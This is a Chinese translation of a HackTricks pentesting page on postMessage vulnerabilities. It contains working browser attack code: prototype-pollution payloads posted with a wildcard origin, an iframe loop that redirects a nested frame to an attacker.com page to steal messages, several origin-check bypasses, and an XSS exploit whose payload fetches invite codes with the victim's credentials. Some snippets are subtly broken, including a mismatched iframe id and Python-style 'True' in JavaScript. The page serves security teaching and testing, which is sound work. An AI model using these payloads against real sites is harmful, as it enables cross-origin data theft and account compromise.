hacktricks/pentesting-web/postmessage-vulnerabilities
2024-01-01 18:40:45 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Chinese 2023-08-03 19:12:22 +00:00
bypassing-sop-with-iframes-1.md Translated to Chinese 2023-08-03 19:12:22 +00:00
bypassing-sop-with-iframes-2.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:40:45 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Chinese 2023-08-03 19:12:22 +00:00

PostMessage 漏洞

PostMessage 漏洞

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

发送 PostMessage

PostMessage 使用以下函数来发送消息:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

请注意,targetOrigin 可以是 '*' 或像 https://company.com. 这样的URL。
第二种情况下,消息只能发送到那个域(即使窗口对象的来源是不同的)。
如果使用了通配符消息可以发送到任何域,并且将发送到 Window 对象的来源。

攻击 iframe 和 targetOrigin 中的通配符

此报告所解释的,如果你找到一个可以被iframed(没有 X-Frame-Header 保护)并且正在通过使用通配符(*)的 postMessage 发送敏感消息的页面,你可以修改 iframe来源并将敏感消息泄露到你控制的域。
请注意,如果页面可以被 iframed 但targetOrigin 设置为URL而不是通配符,这个技巧将不起作用

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 漏洞利用

addEventListener 是 JS 用来声明期待 postMessages 的函数的功能。
将使用类似以下的代码:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

请注意,在这种情况下,代码首先做的就是检查来源。这一点非常重要,尤其是如果页面要对接收到的信息进行任何敏感操作(比如更改密码)。如果不检查来源,攻击者可以让受害者向这些端点发送任意数据,并更改受害者的密码(在此示例中)。

枚举

为了在当前页面找到事件监听器,你可以:

  • 在JS代码中搜索window.addEventListener$(window).onJQuery版本
  • 在开发者工具控制台执行getEventListeners(window)

  • 在浏览器的开发者工具中转到 元素 --> 事件监听器

绕过来源检查

  • 当事件是由用户操作生成时,event.isTrusted 为 True。如果正确放置实际上不可绕过但值得一提。
  • 如果使用 indexOf()检查PostMessage事件的来源,请记住它可以像下面的示例那样轻松绕过:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • 如果使用 search()验证 来源 可能是不安全的。根据 String.prototype.search() 的文档,该方法接受一个正则表达式对象而不是字符串。如果传递了除正则表达式以外的任何东西,它将被隐式转换为正则表达式。
    在正则表达式中,点(.)被视为通配符。攻击者可以利用这一点,使用一个特殊域名来绕过验证,例如:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • 就像前面的例子一样,match() 也会检查一个 regex,所以如果 regex 格式不正确,它可能会被绕过
  • 如果使用了 escapeHtml 函数,该函数不会创建一个 new 的转义对象,而是覆盖现有对象的属性。这意味着,如果我们能够创建一个具有受控属性的对象,该属性不响应 hasOwnProperty,那么它将不会被转义。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File对象非常适合这种利用,因为它有一个只读的name属性,该属性被我们的模板使用,并将绕过escapeHtml函数。

e.origin == window.origin 绕过

当页面通过<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">嵌入在沙盒化iframe中时,该iframeorigin将是**null**。

当设置了沙盒值 allow-popups时,打开的弹出窗口继承所有沙盒属性,除非设置了allow-popups-to-escape-sandbox
因此,从null origin打开一个弹出窗口将使弹出窗口内的**window.origin也是null**。

因此,如果你打开一个允许弹出窗口的沙盒化iframe然后你从iframe内部打开一个弹出窗口并且从iframe向弹出窗口发送一个postMessage两个origin都是null所以e.origin == window.origin == null

要了解更多信息阅读

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

绕过 e.source

可以检查消息是否来自脚本正在监听的同一个窗口(对于浏览器扩展的内容脚本特别有趣,以检查消息是否来自同一页面):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

您可以通过创建一个发送 postMessage 并立即删除的 iframe,强制 e.source 的消息为 null。

有关更多信息,请阅读:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

绕过 X-Frame-Header

为了执行这些攻击,理想情况下您将能够将受害者网页放入 iframe 中。但是像 X-Frame-Header 这样的头部可以阻止这种行为
在这些情况下,您仍然可以使用不那么隐蔽的攻击。您可以打开一个新标签页到易受攻击的网络应用程序,并与之通信:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

通过阻塞主页面窃取发送给子页面的消息

在以下页面中,您可以看到如何通过在发送数据之前阻塞主页面,并利用子页面中的XSS在数据被接收之前泄露数据,从而窃取发送给子iframe敏感postmessage数据

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

通过修改iframe位置窃取消息

如果您可以嵌入一个没有X-Frame-Header的网页该网页包含另一个iframe您可以更改该子iframe的位置,所以如果它正在接收使用通配符发送的postmessage,攻击者可以更改该iframe的到一个由他控制的页面并窃取消息:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage 到原型污染和/或 XSS

在通过postMessage发送的数据被JS执行的场景中您可以iframe页面并通过postMessage发送漏洞利用代码来利用原型污染/XSS。

https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html 可以找到一些非常好的通过postMessage进行XSS的解释

通过postMessageiframe利用原型污染然后进行XSS的漏洞利用示例:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>
**更多信息**

* 关于 [**原型污染**](../deserialization/nodejs-proto-prototype-pollution/) 的页面链接
* 关于 [**XSS**](../xss-cross-site-scripting/) 的页面链接
* 关于 [**客户端原型污染到 XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) 的页面链接

## 参考资料

* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>

支持 HackTricks 的其他方式:

* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**</details>